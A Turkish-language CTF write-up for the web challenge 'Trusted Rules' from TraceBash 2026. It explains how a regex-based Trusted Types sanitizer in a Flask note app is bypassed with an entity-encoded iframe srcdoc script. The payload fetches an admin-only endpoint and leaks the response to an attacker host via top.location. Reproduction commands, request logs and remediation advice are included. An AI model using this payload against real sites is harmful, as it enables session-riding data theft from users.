TraceBash 2026 — Trusted Rules Çözümü
Bir Flask not uygulamasında Trusted Types ve regex sanitizer atlatılıyor: HTML entity ile kodlanmış iframe srcdoc, CSP altında satır içi betik çalıştırıp yalnızca admine ait /admin/flag'i okuyor ve onu üst düzey yönlendirme ile sızdırıyor.
TraceBash 2026 — Trusted Rules
"Trusted Rules" (Web), notunuzu innerHTML üzerinden Trusted Types etrafına kurulu bir Content Security Policy altında yansıtan küçük bir Flask not uygulaması. Bir admin bot httpOnly oturum çerezi tutuyor ve gönderdiğiniz herhangi bir not URL'sini inceleyecek. Bayrak /admin/flag'de duruyor ve yalnızca o çerezle korunuyor.
Ön kabul, Trusted Types ("tarayıcının kendi güven çerçevesi") ve sanitize eden bir politika sayesinde yansıtmanın güvenli olduğudur. Değil: politika, ham metne uygulanan bir regex kara listesidir ve iframe srcdoc ne bir Trusted Types sink'idir ne de kara liste tarafından denetlenir. Betik etiketlerini HTML entity olarak kodlamak filtreleri atlar; tarayıcı da bunları taze bir same-origin dokümanda gerçek bir satır içi betiğe çözer.
- Etkinlik: TraceBash CTF 2026
- Kategori: Web
- Bayrak biçimi:
TBCTF{...}
1. Uygulama
Tüm backend tek dosya. İlginç kısımlar:
@app.route('/admin/flag')
def admin_flag():
if request.cookies.get('admin_session') == os.environ.get('ADMIN_TOKEN'):
return FLAG
return "Forbidden", 403
@app.route('/view')
def view():
rule = request.args.get('rule', 'Default Note')
return render_template('view.html', rule=rule)
@app.route('/report', methods=['GET', 'POST'])
def report():
...
url = request.form.get('url')
if not url or not url.startswith('http'):
return "Invalid URL", 400
parsed = urlparse(url)
if parsed.hostname in ['localhost', '127.0.0.1', '0.0.0.0']:
url = parsed._replace(netloc='web:5000').geturl()
resp = requests.post(os.environ.get('BOT_URL'), json={'url': url}, timeout=5)/view, saldırgan denetimli rule ile view.html render ediyor. /report bir URL'yi bota iletirken localhost/127.0.0.1/0.0.0.0'ı web:5000'e yeniden yazıyor, böylece botu kolayca loopback'teki kendi dinleyicinize yönlendiremiyorsunuz.
Bot yalnızca uygulamayı hedefleyen URL'leri kabul eder, sonra oturum çereziyle ziyaret eder:
const parsed = new URL(url);
if (parsed.protocol !== 'http:' ||
parsed.hostname !== new URL(WEB_HOST).hostname || // 'web'
parsed.port !== new URL(WEB_HOST).port) { // '5000'
return res.status(400).send('Invalid URL: Use http://web:5000');
}
await page.setCookie({ name: 'admin_session', value: process.env.ADMIN_TOKEN,
domain: 'web', path: '/', httpOnly: true });
await page.goto(url, { waitUntil: 'networkidle2', timeout: 5000 });Yani hedef net: botu script çalıştırabileceğimiz bir web:5000 sayfasına indirmek, /admin/flag'i çağırmak (çerez httpOnly olsa bile istekte otomatik olarak gider) ve yanıtı sızdırmak.
2. Yansıtma ve savunmaları
view.html katı bir politika kuruyor ve notu bir Trusted Types politikası üzerinden enjekte ediyor:
<meta http-equiv="Content-Security-Policy"
content="default-src 'self'; script-src 'self' 'unsafe-inline';
require-trusted-types-for 'script';">
...
<script>
let policy;
if (window.trustedTypes && trustedTypes.createPolicy) {
policy = trustedTypes.createPolicy('notePolicy', {
createHTML: (string) => {
let safe = string;
safe = safe.replace(/<\/?script>/ig, '');
safe = safe.replace(/javascript:/ig, '');
safe = safe.replace(/on[a-z]+\s*=/ig, '');
return safe;
}
});
}
const userNote = new URLSearchParams(location.search).get('rule') || 'No note specified.';
document.getElementById('note-content').innerHTML =
policy ? policy.createHTML(userNote) : userNote;
</script>Burada üst üste dört savunma var ve her biri tek başına yetersiz:
require-trusted-types-for 'script'innerHTMLsink'ini birTrustedHTMLalmaya zorlar. Kod, notupolicy.createHTMLile sararak uyar, sink kabul eder.- Politika kara listesi ham metinden
</?script>,javascript:veon…=öğelerini kaldırır — ama bu bir ayrıştırıcı değil, kaynak üzerinde düz bir regex'tir. script-src 'self' 'unsafe-inline'— dikkat:'unsafe-inline'var ve sonunda satır içi çalıştırmayı mümkün kılan da bu.default-src 'self'— açık birconnect-srcyok, dolayısıyla harici bir konağafetch/XHR/img'self'e düşer ve bloklanır.
Tuzak, innerHTML artı <script> kırpımının çalıştırma olmadığını sanmaktır. Doğru: innerHTML ile eklenen <script> hiç çalışmaz — ama bu sanitizer'ın değil, HTML fragment ayrıştırıcısının bir özelliğidir ve her vektör için geçerli değildir.
3. Atlatma: iframe srcdoc
<iframe srcdoc="..."> ne bir Trusted Types sink'idir ne de kara listede geçer. srcdoc değeri eksiksiz yeni bir doküman olarak ayrıştırılır ve — çerçeve srcdoc olduğu için — o doküman gömülü sayfanın origin'ini ve CSP'sini miras alır. CSP zaten 'unsafe-inline' içerdiğinden, srcdoc içindeki bir <script> çalışır.
Kalan tek engel metin filtresidir. <script>, </script>, javascript: ve on…= alt dizelerini kaldırır. HTML entity'leri bunu bozar: filtre <script> görür, tarayıcı ise srcdoc özniteliğini ayrıştırırken bunu <script> olarak çözer:
<iframe srcdoc="<script>
fetch('/admin/flag')
.then(r => r.text())
.then(t => { top.location = 'http://<attacker>/?f=' + encodeURIComponent(t) });
</script>"></iframe>Savunmalardan geçiş:
require-trusted-types-for→ karşılandı; yine politika üzerinden enjekte ediyoruz.<script>kırpımı → ortada literal<script>yok, yalnız entity var.javascript:kırpımı → o token'ı hiç yazmıyoruz.on…=kırpımı → hiç satır içi handler kullanmıyoruz.
Çalıştırma ayrıntıları:
srcdocçerçevesi same-origin'dir, dolayısıylafetch('/admin/flag')connect-src/default-src 'self'tarafından izin verilen same-origin bir istektir vehttpOnlyadmin_sessionçerezi otomatik eklenir.httpOnly,document.cookie'yi durdurur; tarayıcının göndermesini değil.- Bayrağı dışarı çıkarmak için:
connect-srcveimg-src'self'e düşer, dolayısıyla saldırgan konağa doğrudanfetch/Image()bloklanır. Üst düzey yönlendirmedefault-srctarafından yönetilmez, bu yüzdentop.location = 'http://attacker/?f=' + …bayrağı sızdırır. (top'a erişilebilir çünkü çerçeve same-origin.)
Diğer filtreler hakkında bir not: handler adları entity ile kodlanamasa da, javascript: filtresi de aynı derecede kozmetiktir — javascript:, HTML ayrıştırıcısı öznitelik değerini çözdüğünde geçerli bir URL'dir. En kısa yol olduğu için srcdoc seçildi.
4. Yeniden üretim
Görev, botun google-chrome-stable (amd64) kurduğu bir docker-compose.yml ile geliyor. arm64 bir makinede o Chrome çalışamaz; bu yüzden web servisini olduğu gibi kurdum ve gerçek botun çerez ile URL kontrollerini taklit eden küçük bir puppeteer-core bot emülatörüyle sistemdeki (arm64) Chromium üzerinden sürdüm.
Web servisini ve sızdırmayı yakalayacak bir dinleyiciyi başlatın:
docker network create tbnet
docker build -t tbvault-web ./app
docker run -d --name web --network tbnet -p 5050:5000 \
-e FLAG='TBCTF{fake_flag_for_local_testing}' \
-e ADMIN_TOKEN='74ac76b0a8b649b3b3ac0212e39dc78b' tbvault-web
docker run -d --name exfil --network tbnet python:3.9-slim python -m http.server 8000Botu, rule içine URL-kodlanmış payload ile sürün:
JS="fetch('/admin/flag').then(r=>r.text()).then(t=>{top.location='http://exfil:8000/?f='+encodeURIComponent(t)})"
PAY="<iframe srcdoc=\"<script>${JS}</script>\"></iframe>"
ENC=$(python3 -c "import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))" "$PAY")
# bot emülatörü: 'web' alan adına admin_session kurar, http://web:5000/view?rule=$ENC adresine giderEmüle edilen botun istek günlüğü ve dinleyicinin erişim günlüğü tüm zinciri doğruluyor:
=== REQUESTS ===
http://web:5000/view?rule=...%3Ciframe%20srcdoc...
http://web:5000/static/style.css
http://web:5000/admin/flag
http://exfil:8000/?f=TBCTF%7Bfake_flag_for_local_testing%7D
--- exfil erişim günlüğü ---
172.18.0.4 - - "GET /?f=TBCTF%7Bfake_flag_for_local_testing%7D HTTP/1.1" 200 -/admin/flag admin çereziyle çekiliyor ve çözülmüş bayrak dinleyiciye ulaşıyor. Placeholder yerel bir değerdir; gerçek dağıtımda aynı payload TBCTF{...} döndürür.
5. Düzeltme
- Saldırgan girdisini DOM'a hiç yansıtmayın; yansıtmak zorundaysanız regex ile değil, gerçek bir HTML ayrıştırıcısıyla (örn. DOMPurify) sanitize edin. Bir Trusted Types politikası,
createHTML'i kadar güçlüdür. - Politikayı kilitleyin.
trusted-types notePolicy(veyatrusted-types 'allow-duplicates' notePolicy) yönergesini ekleyip bilinmeyen politikaların oluşturulmasını engelleyin ve HTML üreten tek yol politika olsun. srcdoc,iframeve event handler'ları birinci sınıf XSS sink'leri sayın. Çerçeveleriframe-src 'none'ile kapatın ve açık, kısıtlayıcı birconnect-src/img-srctutun.httpOnly'nin bir CSRF/origin savunması olmadığını unutmayın. Sayfanın kendi JavaScript'inin same-origin çerez-korumalı uç noktaları çağırmasını engellemez.
6. Bayrak
TBCTF{fake_flag_for_local_testing} # yerel çalıştırma; gerçek bayrak TBCTF{...}Ne düşünüyorsun?
Tepki bırakarak geri bildirim ver